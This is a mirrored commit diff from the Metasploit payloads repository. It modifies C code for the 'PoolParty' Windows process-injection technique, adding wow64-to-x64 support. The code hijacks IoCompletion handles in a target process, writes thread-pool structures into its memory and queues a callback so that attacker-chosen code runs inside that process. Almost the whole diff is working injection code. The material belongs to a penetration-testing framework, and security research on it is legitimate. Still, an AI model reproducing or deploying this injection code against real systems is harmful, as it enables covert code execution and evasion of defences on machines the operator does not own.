mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-02 11:36:22 +01:00
feat: improving remote handles fetching, tp_direct_insertion support wow64->x64 injection
This commit is contained in:
parent
2a45039182
commit
7eab552207
@ -53,7 +53,8 @@ pNtDll* GetOrInitNtDll() {
|
||||
return ntdll;
|
||||
}
|
||||
|
||||
HANDLE GetIoCompletionHandle(HANDLE hProcess) {
|
||||
|
||||
HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess) {
|
||||
HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
|
||||
ULONG dwInformationSizeIn = 2048;
|
||||
ULONG dwInformationSizeOut = 0;
|
||||
@ -65,14 +66,14 @@ HANDLE GetIoCompletionHandle(HANDLE hProcess) {
|
||||
|
||||
DWORD ntStatus = 0;
|
||||
lpProcessInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn);
|
||||
dprintf("[INJECT][inject_via_poolparty][get_io_completion] lpProcessInfo: %p", lpProcessInfo);
|
||||
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: %p", lpProcessInfo);
|
||||
|
||||
while (TRUE) {
|
||||
ntStatus = ntdll->pNtQueryInformationProcess(hProcess, ProcessHandleInformation, lpProcessInfo, dwInformationSizeIn, &dwInformationSizeOut);
|
||||
dprintf("[INJECT][inject_via_poolparty][get_io_completion] NtQueryInformationProcess() : %p", ntStatus);
|
||||
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] NtQueryInformationProcess() : %p", ntStatus);
|
||||
if (ntStatus == 0xC0000004L && dwInformationSizeIn != dwInformationSizeOut) {
|
||||
lpProcessInfo = HeapReAlloc(hHeap, 0, lpProcessInfo, dwInformationSizeOut);
|
||||
dprintf("[INJECT][inject_via_poolparty][get_io_completion] HeapReAlloc lpProcessInfo: %p", lpProcessInfo);
|
||||
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] HeapReAlloc lpProcessInfo: %p", lpProcessInfo);
|
||||
dwInformationSizeIn = dwInformationSizeOut;
|
||||
continue;
|
||||
}
|
||||
@ -84,16 +85,16 @@ HANDLE GetIoCompletionHandle(HANDLE hProcess) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
dprintf("[INJECT][inject_via_poolparty][get_io_completion] lpProcessInfo: %p dwInformationSizeIn: %d", lpProcessInfo, dwInformationSizeIn);
|
||||
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: %p dwInformationSizeIn: %d", lpProcessInfo, dwInformationSizeIn);
|
||||
dwInformationSizeIn = 2048;
|
||||
dwInformationSizeOut = 0;
|
||||
lpObjectInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn);
|
||||
dprintf("[INJECT][inject_via_poolparty][get_io_completion] lpObjectInfo: %p", lpObjectInfo);
|
||||
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpObjectInfo: %p", lpObjectInfo);
|
||||
for (ULONG i = 0; i < lpProcessInfo->NumberOfHandles; i++) {
|
||||
if (DuplicateHandle(hProcess, lpProcessInfo->Handles[i].HandleValue, hCurrProcess, &hHijackHandle, IO_COMPLETION_ALL_ACCESS, FALSE, 0)) {
|
||||
if (DuplicateHandle(hProcess, lpProcessInfo->Handles[i].HandleValue, hCurrProcess, &hHijackHandle, dwDesiredAccess, FALSE, 0)) {
|
||||
ntDll->pNtQueryObject(hHijackHandle, ObjectTypeInformation, lpObjectInfo, dwInformationSizeIn, &dwInformationSizeOut);
|
||||
if (dwInformationSizeIn > dwInformationSizeOut) {
|
||||
if (lstrcmpW(L"IoCompletion", lpObjectInfo->TypeName.Buffer) == 0) {
|
||||
if (lstrcmpW(typeName, lpObjectInfo->TypeName.Buffer) == 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
@ -103,11 +104,11 @@ HANDLE GetIoCompletionHandle(HANDLE hProcess) {
|
||||
}
|
||||
HeapFree(hHeap, 0, lpObjectInfo);
|
||||
HeapFree(hHeap, 0, lpProcessInfo);
|
||||
dprintf("[INJECT][inject_via_poolparty][get_io_completion] hHijackHandle: %p", hHijackHandle);
|
||||
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] hHijackHandle: %p", hHijackHandle);
|
||||
return hHijackHandle;
|
||||
}
|
||||
|
||||
DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE *hTriggerHandle) {
|
||||
DWORD remote_tp_wait_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE *hTriggerHandle) {
|
||||
BOOL bError = FALSE;
|
||||
HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
|
||||
ULONG dwInformationSizeIn = 1;
|
||||
@ -124,7 +125,7 @@ DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lp
|
||||
if (!bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION]) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
}
|
||||
hHijackHandle = GetIoCompletionHandle(hProcess);
|
||||
hHijackHandle = GetRemoteHandle(hProcess, L"IoCompletion", IO_COMPLETION_ALL_ACCESS);
|
||||
|
||||
if (hHijackHandle == INVALID_HANDLE_VALUE) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] Unable to locate IoCompletion object inside the target process.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
@ -132,10 +133,10 @@ DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lp
|
||||
|
||||
if (hHijackHandle != INVALID_HANDLE_VALUE) {
|
||||
PFULL_TP_WAIT hThreadPool = (PFULL_TP_WAIT)CreateThreadpoolWait((PTP_WAIT_CALLBACK)(lpStartAddress), lpParameter, NULL);
|
||||
PFULL_TP_WAIT pRemoteTpWait = VirtualAllocEx(hProcess, NULL, sizeof(FULL_TP_WAIT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
WriteProcessMemory(hProcess, pRemoteTpWait, hThreadPool, sizeof(FULL_TP_WAIT), NULL);
|
||||
PFULL_TP_WAIT pRemoteTpWait = VirtualAllocEx(hProcess, NULL, sizeof(FULL_TP_WAIT) + sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
PTP_DIRECT pRemoteTpDirect = (PTP_DIRECT)(pRemoteTpWait + sizeof(FULL_TP_WAIT));
|
||||
|
||||
PTP_DIRECT pRemoteTpDirect = VirtualAllocEx(hProcess, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
WriteProcessMemory(hProcess, pRemoteTpWait, hThreadPool, sizeof(FULL_TP_WAIT), NULL);
|
||||
WriteProcessMemory(hProcess, pRemoteTpDirect, &hThreadPool->Direct, sizeof(TP_DIRECT), NULL);
|
||||
ntDll->pZwAssociateWaitCompletionPacket(hThreadPool->WaitPkt, hHijackHandle, *hTriggerHandle, pRemoteTpDirect, pRemoteTpWait, 0, 0, NULL);
|
||||
dwResult = 0;
|
||||
@ -144,7 +145,7 @@ DWORD remote_tp_wait_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lp
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTrigger) {
|
||||
DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTrigger) {
|
||||
BOOL bError = FALSE;
|
||||
HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
|
||||
ULONG dwInformationSizeIn = 1;
|
||||
@ -152,28 +153,39 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID
|
||||
pNtDll* ntDll = NULL;
|
||||
DWORD dwResult = ERROR_POOLPARTY_GENERIC;
|
||||
HANDLE hHeap = GetProcessHeap();
|
||||
TP_DIRECT Direct = { 0 };
|
||||
dwDestinationArch = PROCESS_ARCH_X64;
|
||||
DWORD dwDirectSize = dwDestinationArch == PROCESS_ARCH_X64 ? TP_DIRECT_STRUCT_SIZE_X64 : TP_DIRECT_STRUCT_SIZE_X86;
|
||||
|
||||
WOW64_CONTEXT test = { 0 };
|
||||
LPVOID *Direct = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwDirectSize);
|
||||
do {
|
||||
ntDll = GetOrInitNtDll();
|
||||
dprintf("%d fs offset: %p", sizeof(WOW64_CONTEXT), (QWORD)&test.SegFs - (QWORD)&test);
|
||||
if (ntdll == NULL) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Cannot GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
if (!bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION]) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
}
|
||||
hHijackHandle = GetIoCompletionHandle(hProcess);
|
||||
hHijackHandle = GetRemoteHandle(hProcess, L"IoCompletion", IO_COMPLETION_ALL_ACCESS);
|
||||
|
||||
if (hHijackHandle == INVALID_HANDLE_VALUE) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to locate IoCompletion object inside the target process.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
}
|
||||
|
||||
if (hHijackHandle != INVALID_HANDLE_VALUE) {
|
||||
Direct.Callback = lpStartAddress;
|
||||
LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
|
||||
if (dwDestinationArch == PROCESS_ARCH_X64) {
|
||||
*(QWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X64) = (QWORD) lpStartAddress;
|
||||
}
|
||||
if (dwDestinationArch == PROCESS_ARCH_X86) {
|
||||
*(DWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X86) = (DWORD)((QWORD)lpStartAddress);
|
||||
}
|
||||
LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, dwDirectSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!RemoteDirectAddress) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to allocate RemoteDirectAddress.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
}
|
||||
if (!WriteProcessMemory(hProcess, RemoteDirectAddress, &Direct, sizeof(TP_DIRECT), NULL)) {
|
||||
if (!WriteProcessMemory(hProcess, RemoteDirectAddress, Direct, dwDirectSize, NULL)) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to write target process memory.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
}
|
||||
ntDll->pZwSetIoCompletion(hHijackHandle, RemoteDirectAddress, lpParameter, 0, 0);
|
||||
@ -181,4 +193,5 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, LPVOID lpStartAddress, LPVOID
|
||||
}
|
||||
} while (0);
|
||||
return dwResult;
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -6,15 +6,19 @@ typedef struct IUnknown IUnknown;
|
||||
#include <winbase.h>
|
||||
#include <winternl.h>
|
||||
|
||||
#define TP_DIRECT_STRUCT_SIZE_X64 72
|
||||
#define TP_DIRECT_STRUCT_SIZE_X86 56
|
||||
#define TP_DIRECT_STRUCT_CB_OFFSET_X64 0x38
|
||||
#define TP_DIRECT_STRUCT_CB_OFFSET_X86 0x28
|
||||
|
||||
// ---------//
|
||||
// Structs //
|
||||
// --------//
|
||||
#ifndef __MINGW32__
|
||||
|
||||
typedef struct _CLIENT_ID {
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
} CLIENT_ID;
|
||||
#endif
|
||||
|
||||
//typedef struct _FILE_IO_COMPLETION_INFORMATION
|
||||
//{
|
||||
@ -505,12 +509,65 @@ typedef VOID(NTAPI* PTP_ALPC_CALLBACK)(
|
||||
_In_ PFULL_TP_ALPC Alpc
|
||||
);
|
||||
|
||||
#define WORKER_FACTORY_RELEASE_WORKER 0x0001
|
||||
#define WORKER_FACTORY_WAIT 0x0002
|
||||
#define WORKER_FACTORY_SET_INFORMATION 0x0004
|
||||
#define WORKER_FACTORY_QUERY_INFORMATION 0x0008
|
||||
#define WORKER_FACTORY_READY_WORKER 0x0010
|
||||
#define WORKER_FACTORY_SHUTDOWN 0x0020
|
||||
|
||||
#define WORKER_FACTORY_ALL_ACCESS ( \
|
||||
STANDARD_RIGHTS_REQUIRED | \
|
||||
WORKER_FACTORY_RELEASE_WORKER | \
|
||||
WORKER_FACTORY_WAIT | \
|
||||
WORKER_FACTORY_SET_INFORMATION | \
|
||||
WORKER_FACTORY_QUERY_INFORMATION | \
|
||||
WORKER_FACTORY_READY_WORKER | \
|
||||
WORKER_FACTORY_SHUTDOWN \
|
||||
)
|
||||
|
||||
// -----------//
|
||||
// Structures //
|
||||
// ----------//
|
||||
|
||||
typedef struct _WORKER_FACTORY_BASIC_INFORMATION
|
||||
{
|
||||
LARGE_INTEGER Timeout;
|
||||
LARGE_INTEGER RetryTimeout;
|
||||
LARGE_INTEGER IdleTimeout;
|
||||
BOOLEAN Paused;
|
||||
BOOLEAN TimerSet;
|
||||
BOOLEAN QueuedToExWorker;
|
||||
BOOLEAN MayCreate;
|
||||
BOOLEAN CreateInProgress;
|
||||
BOOLEAN InsertedIntoQueue;
|
||||
BOOLEAN Shutdown;
|
||||
ULONG BindingCount;
|
||||
ULONG ThreadMinimum;
|
||||
ULONG ThreadMaximum;
|
||||
ULONG PendingWorkerCount;
|
||||
ULONG WaitingWorkerCount;
|
||||
ULONG TotalWorkerCount;
|
||||
ULONG ReleaseCount;
|
||||
LONGLONG InfiniteWaitGoal;
|
||||
PVOID StartRoutine;
|
||||
PVOID StartParameter;
|
||||
HANDLE ProcessId;
|
||||
SIZE_T StackReserve;
|
||||
SIZE_T StackCommit;
|
||||
NTSTATUS LastThreadCreationStatus;
|
||||
} WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION;
|
||||
|
||||
typedef struct pNtDll {
|
||||
NTSTATUS(NTAPI* pNtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
|
||||
NTSTATUS(NTAPI* pNtQueryObject)(HANDLE, OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG);
|
||||
|
||||
NTSTATUS(NTAPI* pZwAssociateWaitCompletionPacket)(HANDLE, HANDLE, HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR, PBOOLEAN);
|
||||
NTSTATUS(NTAPI* pZwSetIoCompletion)(HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR);
|
||||
|
||||
|
||||
NTSTATUS(NTAPI* pNtQueryInformationWorkerFactory)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG);
|
||||
NTSTATUS(NTAPI* pNtSetInformationWorkerFactory)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG);
|
||||
|
||||
//NTSTATUS(NTAPI* pZwSetInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, ULONG);
|
||||
//NTSTATUS(NTAPI* pNtAlpcCreatePort)(PHANDLE, POBJECT_ATTRIBUTES, PALPC_PORT_ATTRIBUTES);
|
||||
@ -522,7 +579,5 @@ typedef struct pNtDll {
|
||||
//NTSTATUS(NTAPI* pNtTpAllocAlpcCompletion)(PVOID, HANDLE, PVOID, PVOID, PVOID);
|
||||
//NTSTATUS(NTAPI* pTpAllocJobNotification)(PVOID, HANDLE, PVOID, PVOID, PVOID);
|
||||
|
||||
//NTSTATUS(NTAPI* pNtQueryInformationWorkerFactory)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG);
|
||||
//NTSTATUS(NTAPI* pNtSetInformationWorkerFactory)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG);
|
||||
}pNtDll;
|
||||
#endif
|
Loading…
Reference in New Issue
Block a user